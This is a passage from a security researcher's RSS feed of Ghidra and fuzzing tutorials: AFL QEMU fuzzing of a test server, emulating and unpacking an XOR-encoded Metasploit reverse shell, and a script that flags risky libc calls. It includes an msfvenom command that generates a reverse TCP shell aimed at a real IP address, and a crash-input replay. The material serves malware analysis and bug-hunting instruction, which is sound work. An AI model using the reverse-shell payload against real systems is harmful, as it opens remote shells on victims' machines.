None<br>    for entry in binary.dynamic_entries:<br>        if entry.tag == lief.ELF.DYNAMIC_TAGS.FLAGS_1:<br>            flags_1_entry = entry<br>            break<br><br>    if flags_1_entry is None:<br>        print(&quot;DT_FLAGS_1 entry not found. This file may not have PIE set or lacks dynamic flags.&quot;)<br>        return<br><br>    # Check if the DF_1_PIE flag is set and remove it<br>    if flags_1_entry.value &amp; lief.ELF.DYNAMIC_FLAGS_1.PIE:<br>        print(&quot;PIE flag is present. Removing...&quot;)<br>        # Remove the PIE flag by clearing the bit<br>        flags_1_entry.value ^= lief.ELF.DYNAMIC_FLAGS_1.PIE<br>    else:<br>        print(&quot;PIE flag is not present. No changes needed.&quot;)<br>        return<br><br>    # Save the modified binary<br>    if output_filename is None:<br>        output_filename = filename<br>    binary.write(output_filename)<br>    print(f&quot;Modified file saved as {output_filename}&quot;)<br><br>def main():<br>    parser = argparse.ArgumentParser(description=&quot;Remove the PIE flag from an ELF binary.&quot;)<br>    parser.add_argument(&quot;filename&quot;, type=str, help=&quot;The filename of the ELF file to modify.&quot;)<br>    parser.add_argument(&quot;--output&quot;, type=str, help=&quot;Optional: The filename to save the modified ELF file. If not provided, it overwrites the original file.&quot;)<br><br>    args = parser.parse_args()<br><br>    remove_pie_flag(args.filename, args.output)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>This tool can be applied to our libfuzz.so as follows:</p><pre>$ python3 ./remove_pie.py libfuzz.so --output libfuzz.so<br>PIE flag is present. Removing…<br>Modified file saved as libfuzz.so</pre><p>The <em>harness </em>program will work now (with LD_LIBRARY_PATH set appropriately). We can test it by feeding our <a href="https://github.com/cy1337/afl_qemu_target/blob/main/post_data.bin">sample post data</a> as follows:</p><pre>$ LD_LIBRARY_PATH=$(pwd) ./harness &lt; post_data.bin<br>Processed output:<br>HTTP/1.1 200 OK<br>Content-Type: text/plain<br>Content-Length: 64<br>Level: 5<br>Health: 300<br>Points: 1500<br>Item Count: 3<br>Items: 01 02 03</pre><h3>Fuzz Time</h3><p>With our fuzz harness now taking user-input and passing it directly to our fuzzed function, we can proceed with using <em>afl-fuzz</em> in QEMU (<em>-Q</em>) mode.</p><p>Start by creating a new directory, <em>in</em>, and place the provided <a href="https://github.com/cy1337/afl_qemu_target/raw/main/post_data.bin"><em>post_data.bin</em></a> file in this directory. When running AFL, we also need to remember to set the <em>LD_LIBRARY_PATH </em>to find our libfuzz.so and we need to have <em>AFL_INST_LIBS=1</em> set so that AFL/QEMU will instrument blocks executing from external libraries (e.g. libfuzz.so).</p><pre>$ AFL_INST_LIBS=1 LD_LIBRARY_PATH=$(pwd) afl-fuzz -Q -i in -o out -- ./harness</pre><p>If everything has gone according to plan, you should see AFL’s interface log crashes almost immediately:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cfVbYUf0YQC_QTCjfajlqw.png" /><figcaption>AFL QEMU Fuzz</figcaption></figure><p>The crashing testcases are stored in <em>out/default/crashes/id*</em>.</p><h3>Testing the Payload</h3><p>Fuzzing a function outside of the normal context can sometimes yield false positive results so it is important to test these payloads with our original <em>simple_target_server</em>. Run the server and then, from a separate terminal, send the data via curl:</p><pre>$ curl --data-binary @out/default/crashes/id\:000000* localhost:8080</pre><p>The server should produce output as follows:</p><pre>$ ./simple_target_server<br>Listening on port 8080…<br>*** stack smashing detected ***: terminated<br>Aborted</pre><h3>Going Further</h3><p>Although this blog post is done, the learning doesn’t have to stop here. In the classroom we will build on this foundation with techniques for working around or working through various complications such as dependencies on external data structures, integrity checked data streams, and more sophisticated runtime links. If you are interested in this or other techniques for identifying vulnerabilities in compiled code, please consider joining me this summer in Vegas for Black Hat. This course will be offered <a href="https://www.blackhat.com/us-24/training/schedule/#a-basic-guide-to-bug-hunting-with-ghidra-36562">August 3–4 (Sat/Sun)</a> and again <a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">August 5–6 (Mon/Tue)</a>. Hope to see you there!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=495df504b5fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unpacking Shellcode with Ghidra Emulator]]></title>
            <link>https://medium.com/@cy1337/unpacking-shellcode-with-ghidra-emulator-ce9e6b03f083?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce9e6b03f083</guid>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[c-programming]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sun, 04 Jun 2023 16:57:06 GMT</pubDate>
            <atom:updated>2024-03-02T16:23:32.479Z</atom:updated>
            <content:encoded><![CDATA[<p>It is a pretty common practice for malware authors to decode and execute payloads in memory to avoid detection and complicate analysis efforts. In this post, I will decode and start analyzing an XOR encoded Metasploit TCP reverse shell to give an example on how to get started with this using Ghidra to emulate the payload.</p><p>The sample for this post can be downloaded from <a href="https://secur3.us/GhidraFiles/payload">https://secur3.us/GhidraFiles/payload</a> or can be generated with <em>msfvenom</em>:</p><pre>msfvenom -p linux/x64/shell_reverse_tcp LHOST=104.236.191.89 -f elf -e x64/xor</pre><p>The exercise begins by creating a new project in Ghidra and importing the sample file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*M60vWSNtqi0wohIZDbbA3g.png" /><figcaption>Import using the discovered properties</figcaption></figure><p>Opening the program in CodeBrowser and performing auto-analysis reveals the following listing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DW7gqSrryYgTR5j5DPqYMA.png" /><figcaption>Memory starting 0x40009f is re-written from XOR on 0x400093</figcaption></figure><p>Reading through this listing, we can see that it is loading the address of the <em>entry</em> function into <em>RAX</em> and then writing XOR results into a location 0x27 bytes into <em>entry </em>at <em>0x400093</em>. We can see that <em>0x400078+0x27</em> brings us to <em>0x40009f</em> which has already been flagged by Ghidra with a <em>RW</em> reference from the <em>xor</em> instruction at <em>0x400093. </em>The decompiler output shows something similar and indicates that it encountered bad instruction data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*rniuUyR9rkGCyqaayldAZw.png" /><figcaption>Decompiled entry has bad instructions</figcaption></figure><p>The program will run an XOR decoding loop to rewrite the program at runtime. This will transform those bad bytes into valid instructions. With this understanding of the code, we can open the program in the stand-alone Emulator tool and allow it to run the XOR loop by clicking <em>Debugger</em>-&gt;<em>Emulate Program in New Trace</em> (or by clicking the emulator icon).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_3CnCUL4zUGzx8ovlApdbg.png" /><figcaption>Emulator started for <em>entry</em></figcaption></figure><p>The plan from here is to let it run through the decoding loop and then inspect the dynamic listing. Set an <em>SW_EXECUTE</em> breakpoint at <em>0x40009f</em> to recognize when the loop has completed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQaUDQPAzkvTQTHNqMMQig.png" /><figcaption>Press ‘k’ to set a breakpoint after the loop</figcaption></figure><p>After setting the breakpoint, use the Emulator controls to resume execution (the resume/play icon works) and you should see control reach the breakpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOCIGAqdSHqU1Nv3924k3w.png" /><figcaption>Static Listing at Breakpoint</figcaption></figure><p>Switching to the Dynamic listing at this point (<em>Window</em>-&gt;<em>Listing</em>-&gt;<em>Dynamic</em>) shows that the bytes have been re-written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWmjuljkbc0b20ZfYXGPGw.png" /><figcaption>Decoded instructions after XOR loop</figcaption></figure><p>We can now extract the decoded data into a program segment for independent analysis. This is achieved by highlighting the bytes and then using the <em>Extract and Import…</em> option in the right-click context menu from the selected bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UoFlre1yNCirW8aFoJ_NkA.png" /><figcaption>Extracting decoded bytes</figcaption></figure><p>Notice that the dialogue asks, <em>‘Please select a language.’</em> This gives us the opportunity to select an alternate language selection for the extracted code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*IlCXMLcviqkkAMM8_q8mUQ.png" /><figcaption>Select a Language</figcaption></figure><p>I have selected the little-endian 64-bit x86 with gcc but of course we know that this was not compiled by gcc. Other lanaguage selections here may improve or degrade your analysis output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*vXrhEHtLuNlzW1tgOZ_Mhw.png" /><figcaption>Import parameters</figcaption></figure><p>After clicking OK on this prompt, click Yes to analyze the new segment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*ALEvyQkW3F2RNXOG06NFIA.png" /><figcaption>Click Yes to analyze</figcaption></figure><p>The new segment is now included in the Ghidra project in a subfolder named after the program (<em>payload)</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-008su7-FDs0d72XV6HIIQ.png" /><figcaption>Payload segment Listing</figcaption></figure><p>Disassemble this by pressing ‘D’ to reveal the shellcode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pipN8O0inoUla0GUH1TYAw.png" /><figcaption>Shellcode listing</figcaption></figure><p>And then in the Decompile view:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*cP1UrebQQhF0mMLKcgAUdQ.png" /><figcaption>Decompiled shellcode</figcaption></figure><p>The shellcode is using the <em>SYSCALL </em>instruction which is represented in Ghidra’s decompiler output as the generic <em>syscall()</em> instead of resolving to the specific Linux system call invoked. The decompiled view in this case does not contain enough information to understand the deobfuscated code. Fortunately, Ghidra ships with an example script demonstrating how to use a memory overlay to resolve syscall numbers to function placeholders so that we see appropriate names and signatures instead of <em>syscall()</em>.</p><p>Open <em>Script Manager</em> from the <em>Window</em> menu and search for ‘S<em>yscallsScript’ </em>to find it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cxRwmS1NfW6njWVSNVAAnA.png" /><figcaption>Find ‘ResolveX86orX64LinuxSyscallsScript.java’ in Script Manager</figcaption></figure><p>Unfortunately, this script was not designed to be run on a program segment and does not like the available metadata. If you run the script you will get an error as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*k6FvLLECRmwcDc0Gecoqrg.png" /><figcaption>Error when running unmodified script</figcaption></figure><p>Right-click the script and open it in the basic editor to apply a quick patch by commenting out the check as shown in the highlighted section below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ou_w7m4qEM8AlvMK3jItag.png" /><figcaption>Comment out the check for a Linux program</figcaption></figure><p>After adding the comments, you will need to save the script as a new name before it can be run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VJgmQtXcQ1dxzJkrap7VSg.png" /><figcaption>Save the script with a new name</figcaption></figure><p>Running the updated script and returning to the decompiled segment output, we see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*G3F4MlZMIt8VpL5irIkqJw.png" /><figcaption>Decoded shellcode with syscalls resolved</figcaption></figure><p>I will leave the rest of the analysis to the reader, but from here we can already see that the 4 syscalls have been renamed and given appropriate signatures for <em>socket</em>, <em>connect</em>,<em> dup2, </em>and <em>execve </em>which should give a pretty clear indication of what it is doing.</p><h3>Join Me At Black Hat To Learn More</h3><p>As always, I hope you have enjoyed reading this post. If you found this interesting and want to learn more, please consider joining me in Vegas this summer for ‘A Guide to Reversing with Ghidra’. The class is offered twice, Saturday/Sunday and Monday/Tuesday. Spaces are filling up quickly so please reserve your space today!</p><p><a href="https://www.blackhat.com/us-23/training/schedule/index.html#a-guide-to-reversing-with-ghidra-30583">Weekend Class Registration</a></p><p><a href="https://www.blackhat.com/us-23/training/schedule/index.html#a-guide-to-reversing-with-ghidra-305831675464970">Monday/Tuesday Registration</a></p><p><strong>UPDATE 3/2/24: </strong>Registration is currently open for “<a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">A Basic Guide to Bug Hunting with Ghidra</a>” at Black Hat USA 2024. The two day class will be offered <a href="https://www.blackhat.com/us-24/training/schedule/#a-basic-guide-to-bug-hunting-with-ghidra-36562">August 3–4</a> and again <a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">August 5–6</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce9e6b03f083" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[First Look: Ghidra 10.3 Emulator]]></title>
            <link>https://medium.com/@cy1337/first-look-ghidras-10-3-emulator-7f74dd55e12d?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f74dd55e12d</guid>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[emulator]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[c-programming]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sat, 13 May 2023 17:03:46 GMT</pubDate>
            <atom:updated>2024-03-02T16:23:00.355Z</atom:updated>
            <content:encoded><![CDATA[<p>Ghidra 10.3 dropped this week with a dedicated Emulator tool! I’ve been eagerly anticipating such a feature and so I am very excited that it is available in time for Black Hat USA this year. I’ve spent the morning tinkering and I’m pleasantly surprised with how performant and intuitive it is to use. In this post, I’ll share a little of what I have learned by walking you through analysis of a reversing challenge.</p><p><strong>UPDATE 3/2/24: </strong>Registration is currently open for “<a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">A Basic Guide to Bug Hunting with Ghidra</a>” at Black Hat USA 2024. The two day class will be offered <a href="https://www.blackhat.com/us-24/training/schedule/#a-basic-guide-to-bug-hunting-with-ghidra-36562">August 3–4</a> and again <a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">August 5–6</a>.</p><p>The example this week is called <em>sneaker</em> and you can download the binary from <a href="https://secur3.us/GhidraFiles/sneaker">https://secur3.us/GhidraFiles/sneaker</a> to follow along.</p><p>After importing and analyzing the binary, you should end up with a Ghidra main() decompilation that looks like:</p><pre><br>undefined8 FUN_00101352(void)<br><br>{<br>  char *__s;<br>  int iVar1;<br>  ulong uVar2;<br>  undefined8 uStack_a0;<br>  undefined4 local_98 [4];<br>  undefined4 local_88;<br>  undefined4 local_84;<br>  undefined4 local_80;<br>  undefined4 local_7c;<br>  undefined4 local_78;<br>  undefined4 local_74;<br>  undefined4 local_70;<br>  undefined4 local_6c;<br>  undefined4 local_68;<br>  undefined4 local_64;<br>  undefined4 local_60;<br>  undefined4 *local_50;<br>  long local_48;<br>  int local_3c;<br>  <br>  local_98[0] = 5;<br>  local_98[1] = 6;<br>  local_98[2] = 0xffffffff;<br>  local_98[3] = 4;<br>  local_88 = 6;<br>  local_84 = 9;<br>  local_80 = 0xfffffffc;<br>  local_7c = 0xffffffff;<br>  local_78 = 10;<br>  local_74 = 0xfffffffc;<br>  local_70 = 0xfffffffa;<br>  local_6c = 9;<br>  local_68 = 0xfffffffc;<br>  local_64 = 0xb;<br>  local_60 = 10;<br>  local_3c = 0xf;<br>  uStack_a0 = 0x1013fe;<br>  FUN_0010122e(local_98,0xf,8);<br>  iVar1 = local_3c;<br>  local_48 = (long)(local_3c + 1) + -1;<br>  uVar2 = ((long)(local_3c + 1) + 0xfU) / 0x10;<br>  local_50 = local_98 + uVar2 * -4;<br>  (&amp;uStack_a0)[uVar2 * -2] = 0x10146d;<br>  FUN_001012b8(local_98,local_98 + uVar2 * -4,iVar1);<br>  __s = (char *)local_50;<br>  (&amp;uStack_a0)[uVar2 * -2] = 0x101479;<br>  puts(__s);<br>  return 0;<br>}</pre><p>Reading over this, we see various stack variables initialized and then passed to two functions before some result is printed with puts. Looking over the Function Call Graph, we can see that the program is structured with a few layers of functions:</p><figure><img alt="Ghidra Function Call Graph of sneaker" src="https://cdn-images-1.medium.com/max/433/1*9IgrLCR0ydp4sIaBUYwsHQ.png" /><figcaption>Function Call Graph</figcaption></figure><p>Similar to the <a href="https://medium.com/@cy1337/a-guide-to-reversing-shared-objects-with-ghidra-cec83d5031e6">Debugger lesson</a>, we could work through the code to decipher what is being printed, but it will be tedious. Instead, we will let Ghidra do the heavy lifting by running this in an emulated trace and then inspecting the memory before the puts call.</p><p><a href="https://github.com/NationalSecurityAgency/ghidra/releases">Ghidra 10.3 or newer</a> is required to use this feature. In this version, you can open Emulator tool by clicking the new tool icon shown below between the Debugger and Version Tracker tools:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/121/1*O3L6wZ_0mNhSdAGMIOjU3g.png" /><figcaption>Emulator is the middle icon between Debugger and Version Tracker</figcaption></figure><p>Open <a href="https://secur3.us/GhidraFiles/sneaker">sneaker</a> in the Emulator by dragging it to this icon:</p><figure><img alt="Ghidra Emulator Tool" src="https://cdn-images-1.medium.com/max/1024/1*nFVvkGDQmWDLdzXzISLchw.png" /><figcaption>Default Layout of Emulator Tool</figcaption></figure><p>Proceed to find main by scrolling down in entry and locating the call to __libc_start_main:</p><figure><img alt="Entry point" src="https://cdn-images-1.medium.com/max/868/1*GyPhVZgsadIzoBUDpA8L9A.png" /><figcaption>__libc_start_main invocation</figcaption></figure><p>FUN_004007af is the main function. Double-click that symbol to jump the cursor to the start of main:</p><figure><img alt="main()" src="https://cdn-images-1.medium.com/max/873/1*KxqsZ5dXzrQYrFlvRp5Wmw.png" /><figcaption>main() from sneaker</figcaption></figure><p>At this point, we can start emulating the program from here in a new trace by clicking the Emulator icon on the toolbar or using the menu option at Debugger-&gt;Emulate Program in New Trace.</p><p>The Dynamic view will now come alive as Ghidra starts emulating the program:</p><figure><img alt="Ghidra Emulator Started" src="https://cdn-images-1.medium.com/max/1024/1*IzJYBsYW57SyHf9op59-Uw.png" /><figcaption>Emulating sneaker</figcaption></figure><p>From here, things work similar to being in the Debugger with a trace being recorded. We can scroll to the end of the function and set a breakpoint immediately at the puts to make short work of deciphering this mess:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*IDnX4YzVBPnmisEL_fAWZw.png" /><figcaption>Target for breakpoint</figcaption></figure><p>Press ‘k’ to load the ‘Toggle Breakpoint’ window and accept the defaults:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*cY3O70-H41NgfwKHbktDeA.png" /><figcaption>Toggle a Breakpoint by pressing ‘k’</figcaption></figure><p>After setting the Breakpoint, the Breakpoints plugin should show that it is set in the program (top) and assigned within the emulator (bottom).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*egWGWIxw7t42Bs27bzSVKw.png" /><figcaption>Breakpoints Debugger View</figcaption></figure><p>With the breakpoint in place, you can click the ‘Resume’ button (or F5 on Windows) to run the emulation. The Emulator tool should look similar to the following when it hits the breakpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7752y-sIM8I_K8cONv5TzA.png" /><figcaption>Breakpoint reached</figcaption></figure><p>Switching to the ‘Registers’ plugin from the Debugger views, we can see the address in RDI and jump to it in the emulated RAM by right-clicking as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Et6qmyi9R6FKdv9j8SyWw.png" /><figcaption>Registers view shows the emulated CPU state</figcaption></figure><p>Doing so brings us to the Dynamic view where the output of the secret functions can be viewed with ease:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*JEeYW0p0h_7BAqV2VclV_w.png" /><figcaption>Dynamic view of data pointed from RDI</figcaption></figure><p>Using the keyboard shortcut (‘) you can retype this to a char and then to a defined string to make it more readable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*JMQiQzvOceIz0mtVyVGeJw.png" /><figcaption>Using ‘ allows us to retype this as a defined string</figcaption></figure><p>And there you have it, Ghidra’s emulator has run the program and computed it’s output!</p><h3>Join Me At Black Hat To Learn More</h3><p>As always, I hope you have enjoyed reading this post. If you found this interesting and want to learn more, please consider joining me in Vegas this summer for ‘A Guide to Reversing with Ghidra’. The class is offered twice, Saturday/Sunday and Monday/Tuesday. Early-bird pricing is still available but spaces are limited so please reserve your space today!</p><p><a href="https://www.blackhat.com/us-23/training/schedule/index.html#a-guide-to-reversing-with-ghidra-30583">Weekend Class Registration</a></p><p><a href="https://www.blackhat.com/us-23/training/schedule/index.html#a-guide-to-reversing-with-ghidra-305831675464970">Monday/Tuesday Registration</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f74dd55e12d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnerability Analysis with Ghidra Scripting]]></title>
            <link>https://medium.com/@cy1337/vulnerability-analysis-with-ghidra-scripting-ccf416cfa56d?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccf416cfa56d</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[c-programming]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sun, 07 May 2023 14:39:37 GMT</pubDate>
            <atom:updated>2024-03-02T16:22:37.190Z</atom:updated>
            <content:encoded><![CDATA[<p>As some of you may have seen, <a href="https://medium.com/@cy1337/vulnerability-hunting-with-ghidra-fb3fc53470ba">I posted a challenge to use Ghidra to identify a vulnerability</a> in a <a href="https://youtu.be/NHWjlCaIrQo">WarGames</a> themed game. There has been a lot of interest in and downloads of this challenge but nobody has come back yet to let me know they solved it. What I have received are questions about where to even begin with this kind of challenge.</p><p>In this post, we’ll look at where to begin when using Ghidra to seek out vulnerabilities in a compiled program. Similar to how I approach source code analysis, I often start analyzing programs by identifying references to commonly dangerous library functions. The focus of this post is how to develop a very simple Ghidra Python script that enumerates calls to a given list of functions.</p><p>Before we get into it again, the challenge binary can be downloaded from <a href="https://secur3.us/GhidraFiles/wopr">https://secur3.us/GhidraFiles/wopr</a> and it can be run within a Docker container by either building from my <a href="https://github.com/cy1337/wopr">GitHub repo</a> or pulling the built image from my <a href="https://hub.docker.com/repository/docker/cy1337demos/wopr/general">DockerHub repo</a>. Please note that you will need to run in interactive mode:</p><pre>docker run -it cy1337demos/wopr:1.0.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*_gEwPamKIDWPol2l8ODb2A.png" /></figure><p>With that out of the way, let’s move on to the aforementioned Ghidra Python script to locate risky function calls…</p><p>Ghidra has a few options when it comes to extending functionality with custom scripts. Ghidra is written in Java and can be extended by writing Java code that will be loaded directly into the running process or, you can alternatively use a Jython interface to author scripts in Python. Beyond that, Ghidra also has multiple APIs to choose from. For the purpose of this post, we will craft a basic Python Ghidra script.</p><p>In order to kick start this process and to keep things interesting, I decided to ask ChatGPT to get us started with a list of dangerous functions.</p><blockquote>Hey ChatGPT, could you generate a list of the top 10 most commonly exploited libc functions referenced by the most recent 3 years of CVE data you have access to? The output should be presented as a Python dictionary called DANGEROUS_FUNCTIONS where the key is the function name and the value is a comment (starting #) which reflects how it is dangerous.</blockquote><pre>DANGEROUS_FUNCTIONS = {<br>    &#39;memcpy&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;strcpy&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;sprintf&#39;: &quot;# Can be used for format string vulnerabilities&quot;,<br>    &#39;strncpy&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;memset&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;read&#39;: &quot;# Can be used for file descriptor hijacking or denial-of-service&quot;,<br>    &#39;fgets&#39;: &quot;# Can be used for buffer overflow&quot;,<br>    &#39;fread&#39;: &quot;# Can be used for buffer overflow&quot;,<br>    &#39;realloc&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;fwrite&#39;: &quot;# Can be used for buffer overflow&quot;<br>}</pre><p>Now we need to prepare some logic to find references to these functions within a program.</p><p>The list of functions discovered in Ghidra’s analysis can be accessed through the Function Manager:</p><pre>currentProgram.getFunctionManager().getFunctions(True)</pre><p>We can iterate over a filtered list of functions as follows:</p><pre>for f in filter(lambda f: f.getName() in DANGEROUS_FUNCTIONS.keys(), currentProgram.getFunctionManager().getFunctions(True)):</pre><p>For each function in that iteration, we can obtain an address to cross reference by calling the getEntryPoint() method. References to that address are accessed via GetReferencesTo() which can then be filtered based on reference type as follows:</p><pre>filter(lambda r: r.getReferenceType() == FlowType.UNCONDITIONAL_CALL, getReferencesTo(f.getEntryPoint()))</pre><p>The address of each reference is available as ref.getFromAddress(). After putting this together along and adding some lines for checking if the task was cancelled and printing the output, I have the following:</p><pre>for f in filter(lambda f: f.getName() in DANGEROUS_FUNCTIONS.keys(), currentProgram.getFunctionManager().getFunctions(True)):<br>    new_func_name = True<br>    if monitor.isCancelled(): break<br>    for ref in filter(lambda r: r.getReferenceType() == FlowType.UNCONDITIONAL_CALL, getReferencesTo(f.getEntryPoint())):<br>        if monitor.isCancelled(): break<br>        if new_func_name:<br>            print(DANGEROUS_FUNCTIONS[f.getName()])<br>            new_func_name = False<br>        print(&quot;%s =&gt; %s (%s)&quot; % (ref.getFromAddress(), f.getName(), ref.getReferenceType()))</pre><p>The ideal way to use this Ghidra script is by loading it into Ghidra’s Script Manager. The complete implementation from this blog post can be downloaded from <a href="https://secur3.us/GhidraFiles/danger_check.py">https://secur3.us/GhidraFiles/danger_check.py</a> and is reproduced here for reference:</p><pre># Ghidra Python script to list cross-references to dangerous functions.<br>#<br># Usage: Run the script in Ghidra&#39;s Script Manager with the target binary loaded.<br># Output: Lists the cross-references to dangerous functions as hyperlinks in the Console.<br><br>from ghidra.app.script import GhidraScript<br>from ghidra.program.model.symbol import FlowType<br><br>DANGEROUS_FUNCTIONS = {<br>    &#39;memcpy&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;strcpy&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;sprintf&#39;: &quot;# Can be used for format string vulnerabilities&quot;,<br>    &#39;strncpy&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;memset&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;read&#39;: &quot;# Can be used for file descriptor hijacking or denial-of-service&quot;,<br>    &#39;fgets&#39;: &quot;# Can be used for buffer overflow&quot;,<br>    &#39;fread&#39;: &quot;# Can be used for buffer overflow&quot;,<br>    &#39;realloc&#39;: &quot;# Can be used for buffer overflow or arbitrary memory write&quot;,<br>    &#39;fwrite&#39;: &quot;# Can be used for buffer overflow&quot;<br>}<br><br>for f in filter(lambda f: f.getName() in DANGEROUS_FUNCTIONS.keys(), currentProgram.getFunctionManager().getFunctions(True)):<br>    new_func_name = True<br>    if monitor.isCancelled(): break<br>    for ref in filter(lambda r: r.getReferenceType() == FlowType.UNCONDITIONAL_CALL, getReferencesTo(f.getEntryPoint())):<br>        if monitor.isCancelled(): break<br>        if new_func_name:<br>            print(DANGEROUS_FUNCTIONS[f.getName()])<br>            new_func_name = False<br>        print(&quot;%s =&gt; %s (%s)&quot; % (ref.getFromAddress(), f.getName(), ref.getReferenceType()))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*-EBqEH9gBKW93srQ9HnOiQ.png" /><figcaption>Script output from wopr challenge</figcaption></figure><p>Clicking the addresses in that console output jumps the Ghidra cursor to that location for further inspection.</p><h3>Join Me At Black Hat To Learn More</h3><p>As always, I hope you have enjoyed reading this post. If you found this interesting and want to learn more, please consider joining me in Vegas this summer for ‘A Guide to Reversing with Ghidra’. The class is offered twice, Saturday/Sunday and Monday/Tuesday. Early-bird pricing is still available but spaces are limited so please reserve your space today!</p><p><a href="https://www.blackhat.com/us-23/training/schedule/index.html#a-guide-to-reversing-with-ghidra-30583">Weekend Class Registration</a></p><p><a href="https://www.blackhat.com/us-23/training/schedule/index.html#a-guide-to-reversing-with-ghidra-305831675464970">Monday/Tuesday Registration</a></p><p><strong>UPDATE 3/2/24: </strong>Registration is currently open for “<a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">A Basic Guide to Bug Hunting with Ghidra</a>” at Black Hat USA 2024. The two day class will be offered <a href="https://www.blackhat.com/us-24/training/schedule/#a-basic-guide-to-bug-hunting-with-ghidra-36562">August 3–4</a> and again <a href="https://www.blackhat.com/us-24/training/schedule/index.html#a-basic-guide-to-bug-hunting-with-ghidra-365621705679780">August 5–6</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccf416cfa56d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>